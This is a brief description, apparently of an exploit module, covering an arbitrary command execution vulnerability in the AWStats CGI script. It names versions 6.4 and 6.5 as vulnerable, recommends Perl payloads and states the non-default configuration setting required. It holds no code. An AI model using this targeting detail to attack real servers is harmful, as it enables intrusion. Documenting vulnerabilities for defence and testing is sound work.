This module exploits an arbitrary command execution vulnerability in the  
AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based  
payloads are recommended with this module. The vulnerability is only  
present when AllowToUpdateStatsFromBrowser is enabled in the AWstats  
configuration file (non-default).
